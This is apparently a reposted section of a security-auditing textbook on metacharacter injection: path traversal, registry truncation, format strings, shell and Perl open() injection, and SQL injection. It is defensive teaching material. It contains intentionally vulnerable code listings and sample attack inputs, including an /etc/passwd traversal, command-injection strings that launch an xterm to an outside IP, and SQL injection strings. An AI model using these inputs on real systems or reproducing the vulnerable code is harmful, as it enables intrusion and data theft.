Common Metacharacter Formats


In the previous section, you learned some basic issues with constructing metacharacter strings from user-malleable data. The following sections present specific issues with a number of common metacharacter formats. This is by no means an exhaustive list, but it addresses several of the most common formats. Exploring these formats should reinforce the discussion so far and provide the context needed to identify vulnerability cases in metacharacter formats not covered here.

Path Metacharacters

One of the most common cases of metacharacter vulnerabilities occurs when handling textual representations of path hierarchies. This vulnerability happens most often when programs access files on a file system, but it occurs in other situations too, such as accessing Windows registry keys.

Many systems organize objects into some sort of hierarchy that can be represented textually by constructing a string with each hierarchical path component separated by a delimiter sequence. For file systems, this delimiter is typically a forward slash (/) character in UNIX or a backslash (\) character in Windows. The existence of these delimiter characters in untrusted input might cause vulnerabilities if a program doesn't handle them properly. Exploiting these vulnerabilities could allow an attacker access to objects the developer didn't intend. As a code auditor, you must identify when programs are accessing resources in an unsafe mannerthat is, when untrusted user input is used to build path components for a resource and when that input can be used to specify objects that shouldn't be accessible. As a quick test, it's a good idea to list resources the application should be able to access, and compare that list with what the application actually allows.

When looking at code dealing with path canonicalization, keep in mind that the truncation issues introduced earlier are particularly relevant, as there's often the opportunity to cut off path elements, such as file extensions for files and subkeys for registry objects.

File Canonicalization

Applications often receive filenames or paths that are subsequently created or opened for processing. CGI scripts and server-side Web applications, HTTP servers, LPD servers, FTP servers, and privileged local processes are just a few examples of where you see filenames supplied from untrusted sources. Applications that neglect to adequately check untrusted filenames can end up revealing sensitive data to clients, or worse, allowing them to write data to files they shouldn't have access to, which could result in total system compromise.

Each file in a file system has a basic string representation that uniquely identifies its location. This representation typically consists of a device name (optionally), followed by an absolute path, like so:

C:\WINDOWS\system32\calc.exe


The device is indicated by C:, followed by the absolute path where the file resides, \WINDOWS\system32, and the filename, calc.exe. Although this method is the simplest way to refer to that file, it certainly isn't the only way. In fact, there are many ways to refer to this same file, as shown in these examples:

C:\WINDOWS\system32\drivers\..\calc.exe calc.exe .\calc.exe ..\calc.exe \\?\WINDOWS\system32\calc.exe


The process of converting all these different representations into the simplest form is referred to as file canonicalization. When an application requests a file open operation, the kernel resolves the path and verifies permission at each hierarchical level until the destination file is found. However, an application might be at risk when building filenames of data from untrusted sourcesfor example, failing to correctly anticipate how the kernel resolves the requested file path. The subject of file canonicalization is a broad one and differs significantly in Windows and UNIX. For that reason, common issues are addressed in this section, and specifics of UNIX and Windows are covered in Chapters 9, "UNIX I: Privileges and Files," and 11 "Windows I: Objects and the File System."

The most common exploitation of filenames happens if the application neglects to check for directory traversal. In this case, an attacker accesses the parent directory by using the path "..". When an application builds a pathname that incorporates user-controlled input, it can sometimes be manipulated into unintentionally creating or accessing files outside the subdirectory that file operations should have been restricted to. Applications are vulnerable to these problems when they fail to specifically check for directory traversal or neglect to fully canonicalize the pathname before validating that it's within the expected file system boundaries. Listing 8-15 shows a simple example in Perl.

Listing 8-15. Directory Traversal Vulnerability

use CGI; ... $username = $query->param('user'); open(FH, "</users/profiles/$username") || die("$!"); print "<B>User Details For: $username</B><BR><BR>"; while(<FH>){     print;     print "<BR>" } close(FH);

The script in Listing 8-15 attempts to open a user's profile, which is presumably located in the /users/profiles directory, but fails to do any sanitization on the username variable, which is pulled directly from the query string in the current Web request being serviced. This means attackers could simply specify the user name ../../../../../etc/passwd and use this script to print the password file (or any other file of their choosing).

As mentioned, you can diagnose path handling issues by cross-referencing the resources a program requires with the resources it's actually capable of accessing. In Listing 8-15, the resources the program intends to access are user profiles (any files in the /users/profiles directory). However, given what you know about file system traversal, you can see that the resources accessible to this program potentially include any files on the system, depending on the user context of the process.

The Windows Registry

Windows operating systems use the Registry as a central repository of system-wide settings that software is free to query and manipulate for its own purposes. Following are the basic Windows registry manipulation functions:

  • RegOpenKey() and RegOpenKeyEx() These functions are used for opening a registry key that can subsequently be used in value queries.

  • RegQueryValue() and RegQueryValueEx() These functions are used to read data from a specified registry key.

  • RegCreateKey() and RegCreateKeyEx() These functions are used to create a new subkey.

  • RegDeleteKey(), RegDeleteKeyEx(), and RegDeleteValue() The first two functions are used to delete a subkey from the registry. RegDeleteValue() leaves the key intact but deletes the value associated with it.

There are a few important considerations in handling registry paths. The first major concern is that truncation can occur when handling fixed buffers. Attackers might be able to cut off part of the key and trick the program into querying the wrong key. The following registry query is vulnerable to truncation:

int get_subkey(char *version) {     HKEY hKey;     long rc;     char buffer[MAX_PATH];     snprintf(buffer, sizeof(buffer),              "\\SOFTWARE\\MyProduct\\%s\\subkey2", version);     rc = RegOpenKeyEx(HKEY_LOCAL_MACHINE, buffer, 0, KEY_READ,                         &hKey);     if(rc != ERROR_SUCCESS)         return 1;     ...     RegCloseKey(hKey); }


This program reads a configuration parameter by using a version string supplied in data from a remote host. If the version string is long enough, it can fill the buffer and truncate the "subkey2" at the end. Like files, registry keys can have multiple slashes to separate subkey elements, so "\\SOFTWARE\\MyProduct" is equivalent to "\\SOFTWARE\\\\\\\\MyProduct" when accessing the key. Furthermore, trailing slashes are truncated as well, so "\\SOFTWARE\\MyProduct" is also equivalent to "\\SOFTWARE\\MyProduct\\\\\\\\". Therefore, any time untrusted data is used as part of a registry key, the danger of truncation exists.

Note

The subkey string supplied to RegOpenKey() and RegOpenKeyEx() can be at most MAX_PATH characters long. If the string is any longer, the function returns an error.


As you might have guessed, if attackers can submit additional subkey separators (\), they can use them to query arbitrary subkeys or even the base key in the string. The one saving grace is that registry keys are opened in a two-step process: The key must be opened first, and then a particular value is manipulated with another set of functions. However, this two-step process doesn't discount the truncation vulnerability because the attack could still be viable in these situations:

  • The attacker can manipulate the key name directly.

  • The attacker wants to manipulate keys, not values.

  • The application uses a higher-level API that abstracts the key value separation.

  • The attacker wants to manipulate the default (unnamed) value.

  • The value name corresponds to the value the attacker wants to manipulate in another key.

C Format Strings

Format strings are a class of bugs in the printf(), err(), and syslog() families of functions. All these functions convert and print data values of different types to a destination (a string or a filestream). The output data is formatted according to the format string, which contains literal data, and format specifiers that indicate where a data element should be inserted in the stream and what data type it should be converted and displayed as. These functions, therefore, take a variable number of arguments according to how many format specifiers are in the format string. The following code shows an example of calling the fprintf() function:

if(open(filename, O_RDONLY) < 0){   fprintf(stderr, "[error]: unable to open filename: %s (%m)\n",           filename);   return(-1); }


This code prints a string (the %s format specifier) and a system error (the %m format specifier).

Note

The %m format specifier is an exception to each format specifier having a corresponding argument. It prints a system error string based on the value of the global error indicator errno.


Problems happen when untrusted input is used as part or all of the format string argument in any of the functions mentioned previously. Obviously, if users can supply format specifiers that weren't expected, the corresponding arguments don't exist and the values displayed are based on whatever random data happens to be on the program stack. This could allow users to see the program stack or even crash the program by using a format specifier that expects a corresponding pointer argument (such as %s, which expects a character pointer to exist on the stack). In addition, one format specifier causes even more problems: %n. The %n specifier is quite unique in that it doesn't cause any data to be written to the output stream; instead, it takes a corresponding integer pointer argument that gets set to the number of characters output thus far. A legitimate use of %n looks like this:

int num; printf("test%n", &num);    // sets num to 4


The string test is printed and the number of output characters is written to num (in this case, four). However, this format specifier is quite useful for attackers. The %n specifier can be exploited to write an arbitrary value to an arbitrary location in memory, which usually results in execution of attacker-controlled code in the current process.

When auditing code, you must ensure that any call to these functions doesn't have a format string derived from untrusted input. You might think a program allowing users to supply the format string isn't likely; after all, why would developers want users to be able to specify format conversions? However, it's happened in a number of applications. One of the most notable examples is in the SITE EXEC command of the popular WU-FTP daemon. The basic problem is that user-controlled data is passed to the lreply() function, as shown:

lreply(200, cmd);


In this code, the user directly controls the cmd variable. Listing 8-16 shows what happens in lreply().

Listing 8-16. Format String Vulnerability in WU-FTPD

void lreply(int n, char *fmt,...) {     VA_LOCAL_DECL     if (!dolreplies)  /* prohibited from doing long replies? */     return;     VA_START(fmt);     /* send the reply */     vreply(USE_REPLY_LONG, n, fmt, ap);     VA_END; } void vreply(long flags, int n, char *fmt, va_list ap) {     char buf[BUFSIZ];     flags &= USE_REPLY_NOTFMT | USE_REPLY_LONG;     if (n)   /* if numeric is 0, don't output one;                 use n==0 in place of printfs */     sprintf(buf, "%03d%c", n,             flags & USE_REPLY_LONG ? '-' : ' ');     /* This is somewhat of a kludge for autospout. I think      * that autospout should be done differently, but      * that's not my department. -Kev      */     if (flags & USE_REPLY_NOTFMT)     snprintf(buf + (n ? 4 : 0),              n ? sizeof(buf) - 4 : sizeof(buf), "%s", fmt);     else     vsnprintf(buf + (n ? 4 : 0),               n ? sizeof(buf) - 4 : sizeof(buf), fmt, ap);     ... }

As you can see, the second argument to lreply() is a format string passed directly to vreply(); the vreply() function then passes the string as the format specifier to vsnprintf(). This example shows how format string vulnerabilities typically occur. They are most likely to happen when a function takes a variable number of arguments and passes that data to an API function for formatting. This type of code occurs most often for logging routines, as shown in Listing 8-17.

Listing 8-17. Format String Vulnerability in a Logging Routine

int log_error(char *fmt, ...) {    char buf[BUFSIZ];    va_list ap;    va_start(ap, fmt);    vsnprintf(buf, sizeof(buf), fmt, ap);    va_end(ap);    syslog(LOG_NOTICE, buf); }

Listing 8-17 shows a logging routine that format data and pass the result to syslog(). However, syslog() also performs formatting; so this code is vulnerable to a format string attack.

Auditing Tip

When attempting to locate format string vulnerabilities, search for all instances of printf(), err(), or syslog() functions that accept a nonstatic format string argument, and then trace the format argument backward to see whether any part can be controlled by attackers.

If functions in the application take variable arguments and pass them unchecked to printf(), syslog(), or err() functions, search every instance of their use for nonstatic format string arguments in the same way you would search for printf() and so forth.


Because locating format strings is a straightforward process, creating programs that can analyze code (both source and binary) and locate these vulnerabilities automatically isn't too difficult. Many static analysis tools have this capability, including those discussed in Chapter 2. Making use of these tools could be a helpful when verifying whether code is safe from format string attacks.

Shell Metacharacters

Often an application calls an external program to perform a task the external program specializes in, as in the following examples:

  • A CGI script launches a mail program to send collected form data.

  • Changing account information on a system might involve launching an editor (chpass, for example).

  • Scheduled execution daemons (cron and at) call programs scheduled to run as well as a mail program to send results (in some cases).

  • Server-side Web applications might call external programs to do some sort of back-end processing.

These examples are only a few possibilities. External application execution happens often and can be prone to security problems. Programs are typically launched in two ways: running the program directly using a function such as execve() or CreateProcess(), or running it via the command shell with functions such as system() or popen(). Launching a process via the exec() system call replaces the currently running process with the new one or perhaps spawns a new process instance (as with CreateProcess()), like so.

char *progname = "/usr/bin/sendmail"; char *args[] = { "-s", "hi", "user@host.com" }; execve(progname, args, envp);


In this instance, an application attempts to send an e-mail; however, after calling execve(), the current application is replaced with the sendmail process. This prevents the original process from writing the e-mail data. To accomplish this, the programmer must fork a new process and set up pipe descriptors. As another option, the program can just run sendmail via the shell popen() interface. The second option does all the pipe setup and handling internally and is much easier to code. Listing 8-18 shows an example.

Listing 8-18. Shell Metacharacter Injection Vulnerability

int send_mail(char *user) {     char buf[1024];     FILE *fp;     snprintf(buf, sizeof(buf),              "/usr/bin/sendmail s \"hi\" %s", user);     fp = popen(buf, "w");     if(fp == NULL)         return 1;     ... write mail ... }

When opening commands with this method, any input is subject to interpretation by the shell, so there can be undesirable consequences if certain characters appear in the input stream. To understand these consequences better, return to the following line from Listing 8-18:

snprintf(buf, sizeof(buf),           "/usr/bin/sendmail s \"hi\" %s", user);


When popen() runs this command, it actually constructs the following command line (assuming the supplied e-mail address is user@host.com):

/bin/sh c "/usr/bin/sendmail s "hi" user@host.com"


The program is being run via the command shell (sh), and any shell metacharacters just as if they were typed at the command line or in shell scripts. Returning to the previous example, what if the username is given as "user@host.com; xterm -- display 1.2.3.4:0"? The command line that popen() constructs now looks like this:

/bin/sh c "/usr/bin/sendmail s "hi" user@host.com; xterm display 1.2.3.4:0"


The semicolon (;) is interpreted as a command separator, so supplying this username doesn't just open sendmail as intended; it also sends an xterm to a remote host! Parsing shell metacharacters when using popen() and similar calls poses an imminent threat to an application when untrusted data is used to build the command line. When auditing applications that use shell capabilities, you need to determine whether arbitrary commands could be run via metacharacter injection. Because the shell has extensive scripting capabilities, quite a number of characters can be useful to attackers. The following list shows the usual suspects:

Dangerous Shell Characters

; (separator)

| (pipe)

& (background)

< (redirect)

> (redirect)

` (evaluate)

! (not operator)

- (argument switch)

* (wildcard)

/ (slash)

? (question)

( (open parenthesis)

) (close parenthesis)

. (wildcard)

" " (space)

[ (open bracket)

] (close bracket)

"\t" (tab)

^ (caret)

~ (homedir)

\ (escape)

"\\" (backslash)

' (quote)

" (double quote)

"\r" (carriage return)

"\n" (newline)

$ (variable)


Different shells interpret data differently, so this list isn't complete, but it covers the most common characters. Of course, not all these characters are dangerous in all situations.

You also need to pay close attention to the application being launched. Some applications are inherently dangerous, depending on their function and how they are implemented. Often, you have restrictions on supplying data to these applications; however, the application that's being launched potentially represents a new point of exposure for the caller. (Remember: A chain is only as strong as its weakest link.) Additionally, the called application might have in-band control processing of its own. One notable example is the mail program, as shown in Listing 8-19.

Listing 8-19. An Example of Dangerous Program Use

int send_mail(char *name, char *email, char *address) {     char buf[1024];     FILE *fp;     snprintf(buf, sizeof(buf), "/usr/bin/mail %s", email);     fp = poen(buf, "w");     if(fp == NULL)         return 1;     fprintf(fp, "Subject: web form\n\n");     fprintf(fp, "full name: %s\n", name);     fprintf(fp, "address: %s\n", address);     ... }

For this example, assume the e-mail address has been adequately filtered. So is this program safe? No! The mail program interprets lines beginning with a tilde (~) as a command to run, so if you specify the name or address with a value of "\n~xterm display 1.2.3.4:0", the mail program spawns an xterm.

Obviously, maintaining a detailed knowledge of the inner workings of all programs on a platformor even all applications your team has writtencan be quite a challenge. Despite this difficulty, when developers decide to call another application, they are crossing a trust boundary and passing control entirely outside the bounds of their applications. Passing control in this way introduces the possibility that the called program could undermine all the calling application's security restrictions. For this reason, it's well worth your time to examine programs instantiated by the application you're auditing, especially if any untrusted input is passed to those programs.

Finally, be mindful of the fact that input doesn't need to be supplied to an external program directly to create vulnerabilities. Attackers might be able to adversely affect an application in a number of other ways, depending on how the program is called and the environment in which it runs. These details tend to be OS specific, however, so they're covered in more depth in Chapters 9 through 12.

Perl open()

The multipurpose capabilities of the Perl open() function are worth noting. This function can open both files and processes, so it does the job of the open() and popen() functions in C. The open() function can be called with three arguments (file handle, mode, and filename) or two arguments (file handle and filename). The second method determines in which mode to open the file by interpreting metacharacters that might be at the beginning or end of the filename. These mode characters, listed in Table 8-1, can also direct that the call to the open() function should run the data as a command instead of opening a file.

Table 8-1. Mode Character Interpretation in Perl's open() Function

Byte Sequence

Location

Meaning

<

Beginning

Open file for read access.

>

Beginning

Open file for write access; create file if it doesn't exist.

+<

Beginning

Open file for read-write access.

+>

Beginning

Open file for read-write access; create file if it doesn't exist; otherwise, truncate the file.

>>

Beginning

Open file for write access but don't truncate; append to the end of the file.

+>>

Beginning

Open file for read-write access but don't truncate; append to the end of the file.

|

Beginning

This argument is a command, not a filename. Create a pipe to run this command with write access.

|

End

This argument is a command, not a filename. Create a pipe to run this command with read access.


When no mode characters are specified, the file is opened for just read access, just as if the file argument contains a leading <. This programming practice is a dangerous, however, because if attackers can specify the filename (or at least the filename's leading component), they can choose the mode in which the file is opened! Here's an example of a dangerous call:

open(FH, "$username.txt") || die("$!");


The second argument contains no leading mode characters, allowing users to specify arbitrary mode characters. The most dangerous is the pipe character, which causes an arbitrary command to run. For example, by specifying the username as "| xterm d 1.2.3.4:0;", users can spawn a remote xterm with this script! The same applies if the last part of the filename can be specified, as in this example:

open(FH, "/data/profiles/$username");


In this case, remote execution could be achieved by specifying a username such as "blah; xterm -d 1.2.3.4:0 |". If users can't control the beginning or the end of a filename, they can't insert pipes for running commands.

Note

You might think that if attackers controlled a little data in the middle of the file argument, they could achieve remote execution by specifying an argument such as "blah; xterm d 1.2.3.4:0|%00", using the NUL-byte injection technique. Although this technique chops off any characters trailing the variable, Perl doesn't interpret the pipe (|) as the last character in the filename, so it doesn't create a pipe.


Also, keep in mind that the +> mode opens a file for read-write access and truncates the file to 0 bytes. This mode is somewhat unique because the file can be modified. Say untrusted data is supplied as the username variable in the following call:

open(FH, "+>$username.txt");


If the username variable begins with a >, the file is opened in append mode and isn't truncated. Depending on the application's specifics, this result might have interesting implications, such as reading data created by a previous user session.

Apart from this special case, if a mode is specified for opening the file, the call is safe, right? No, there's more! The open() function in Perl also duplicates file descriptors for you. If the mode argument is followed by an ampersand (&) and the name of a known file handle (STDIN, STDOUT, STDERR), open() duplicates the file descriptor with a matching mode (such as a leading < for STDOUT). Additionally, you can specify any file descriptor number you want with the syntax &=<fd number>. Take a look at this example:

open(ADMIN, "+>>/data/admin/admin.conf"); ... open(USER, ">$userprofile");


This code fragment assumes that the ADMIN file hasn't been closed when the second call to open() is made. It enables attackers to write to the /data/admin/admin.conf file. They simply need to know the correct file descriptor number and supply it as the userprofile value, such as &=3 if admin.conf is opened as file descriptor 3. Note that the open() call might be exploitable in the following example too:

open(ADMIN, "+>>/data/admin/admin.conf"); ... open(USER, ">$userprofile.txt");


If attackers can insert NUL bytes, they can supply the userprofile value &=3, and the file descriptor is duplicated correctly. However, the three-argument version of open() would render this code no longer vulnerable because it requires explicitly setting the mode in the second parameter. So you can consider three-argument calls to open() to be secure, for the most part.

Auditing Tip

You might find a vulnerability in which you can duplicate a file descriptor. If you have access to an environment similar to one in which the script is running, use lsof or a similar tool to determine what file descriptors are open when the process runs. This tool should help you see what you might have access to.


SQL Queries

SQL is a standard language for interacting with a relational database management system (RDBMS). You most likely encounter SQL in the context of Web applications, when examining server-side scripts or applications that process input from browsers and issue queries to a back-end database. Incorrect handling of input to these queries can result in severe vulnerabilities. This discussion focuses on dynamically constructed queries in normal SQL syntax. Chapter 17, "Web Applications," expands this coverage to address parameterized queries and stored procedures.

The most common SQL-related vulnerability is SQL injection. It occurs when input is taken from request data (post variables, forms, or cookies) and concatenated into a query string issued against the database. Listing 8-20 is a simple example in PHP and MySQL.

Listing 8-20. SQL Injection Vulnerability

$username = $HTTP_POST_VARS['username']; $password = $HTTP_POST_VARS['passwd']; $query = "SELECT * FROM logintable WHERE user = '"     . $username . "' AND pass = '" . $password. "'"; ... $result = mysql_query($query); if(!$result)     die_bad_login(); ...

This query is vulnerable to SQL injection because users can supply unfiltered input for the passwd and username variables. Attackers could easily submit a string such as "bob' OR pass <> 'bob" for both parameters, which results in the following query being issued against the database:

SELECT * from logintable WHERE user = 'bob'     OR user <> 'bob' AND pass = 'bob' OR pass <> 'bob'


In this example, attackers take advantage of the script not filtering the single-quote character ('), which allows them to supply the closing quote and include their own SQL statements. Of course, a single quote isn't the only way to manipulate an SQL query. Dealing with unbounded integer fields (or any data not enclosed in quotes) might cause problems, too. Developers don't expect these fields to contain nonnumeric data, so they often don't check for other data types, particularly if the data is taken from a hidden field or cookie. Take a look at this example:

$order_id = $HTTP_POST_VARS ['hid_order_id']; $query = "SELECT * FROM orders WHERE docText">This example is similar to the previous one, except the order_id value is received in a hidden variable that should contain an integer value. This statement could be compromised by supplying a value such as "1 OR 1=1" for hid_order_id. In this case, you could expect the application to return all orders in the system.

Note

PHP and MySQL provide mechanisms for cleaning strings to help mitigate the risk of this attack. Some examples of filtering functions are mysql_real_escape_string(), dbx_escape_string(), and pg_escape_string(). However, filtering isn't the most reliable method of addressing this issue, as it is still in-band representation and could be vulnerable to unforeseen attack vectors and errors in the filtering routines. Chapter 17 discusses parameterized queries as an out-of-band query method that provides a more effective method of protection.


The impact of SQL injection vulnerabilities varies depending on the RDBMS and database structure. Some databases limit injected queries to the scope of the initial statement; for instance, a vulnerability in an Oracle SELECT statement allows injecting only additional SELECTS or function calls. On the other end of the spectrum, some databases allow the injected statement almost unlimited functionality; Microsoft SQL Server allows terminating the current statement with a semicolon, and then appending another statement.

In many cases, the database contents are attackers' final goal, so they are happy with any vulnerability that grants arbitrary database interaction. However, the attack could also be extended to the hosting system. Many RDBMS implementations have stored procedures for running system commands or arbitrary processes. Attackers can use these procedures unless the database session is explicitly denied access. Failing that approach, the RDBMS implementation itself might expose vulnerabilities. Many stored procedures and functions are implemented in other languages, which can expose a host of other potential vulnerabilities (discussed more in Chapter 17).

You might also need to consider truncation issues that could result in SQL injection, as in file handling. This error can occur in languages using fixed-size buffers; attackers can fill a buffer enough to eliminate trailing clauses. Of course, most developers prefer to use languages with counted string classes when handling SQL queries. Still, it's worth keeping this attack in mind if you encounter C/C++ front ends that manipulate SQL. Listing 8-21 shows an example.

Listing 8-21. SQL Truncation Vulnerability

int search_orders(char *post_detail, char *sess_account) {     char buf[1024];     int rc;     post_detail = escape_sql(post_detail);     sess_account = escape_sql(sess_account);     snprintf(buf, sizeof(buf),         "SELECT * FROM orders WHERE detail LIKE " \         "\'%%%s%%\' AND account = \'%s\'",         post_detail, sess_account);     rc = perform_query(buffer);     free(post_detail);     free(sess_account);     if(rc > 0)         return 1;     return 0; }

Assume that the search_orders() function in Listing 8-21 allows users to search through their own orders, but no one else's. The escape_sql() function prevents users from injecting any control characters, and the sess_account variable is provided from the session. This means users can manipulate only the length and content of the post_detail variable. However, they can pad post_detail with enough percent signs (%) that it causes snprintf() to cut off the AND clause that restricts the query to current users. The resulting query then retrieves all orders, regardless of the user.




The Art of Software Security Assessment. Identifying and Preventing Software Vulnerabilities
The Art of Software Security Assessment: Identifying and Preventing Software Vulnerabilities
ISBN: 0321444426
EAN: 2147483647
Year: 2004
Pages: 194

flylib.com © 2008-2017.
If you may any questions please contact us: flylib@qtcs.net